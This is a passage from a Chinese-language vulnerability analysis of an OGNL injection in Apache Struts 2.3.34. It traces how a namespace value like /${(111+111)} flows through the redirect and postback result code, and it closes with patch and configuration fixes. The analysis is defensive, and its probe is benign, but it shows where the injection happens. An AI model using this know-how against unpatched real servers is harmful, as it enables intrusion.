3.进入\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionProxy.java#@getNamespace()可以看到result对象的namespace即为/${(111+111)}。
4.回到execute()
进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java#@getUriFromActionMapping(),跟入handleNamespace()观察如何处理值
5.handleNamespace最终结果如下
6.返回到execute()跟进super.execute()
7.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。
第二种方法
1.先修改struts.actionchaing.xml中内容
2.在\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()可以看到 这个result对象的处理方式为 postback
3.进入execute(),跟进makePostbackUri
4.跟进\struts2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java# @getUriFromActionMapping() ,进入handleNamespace()观察处理值过程
5.handleNamespace()处理值过程如下
6.回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java # @makePostbackUri()
可以看到postbackUri为/${(111+111)}/register2.action
7.我们继续回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java# @execute()方法中往下走到super.execute()跟进
8.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。
修复建议
1.官方补丁
目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版本:
https://struts.apache.org/download.cgi#struts2517。
2.手工修复
修改配置文件:
固定package标签页以及result的param标签页的namespace值,以及禁止使用通配符。
来源:freebuf.com 2021-03-07 22:22:09 by: TimelineSec
请登录后发表评论
注册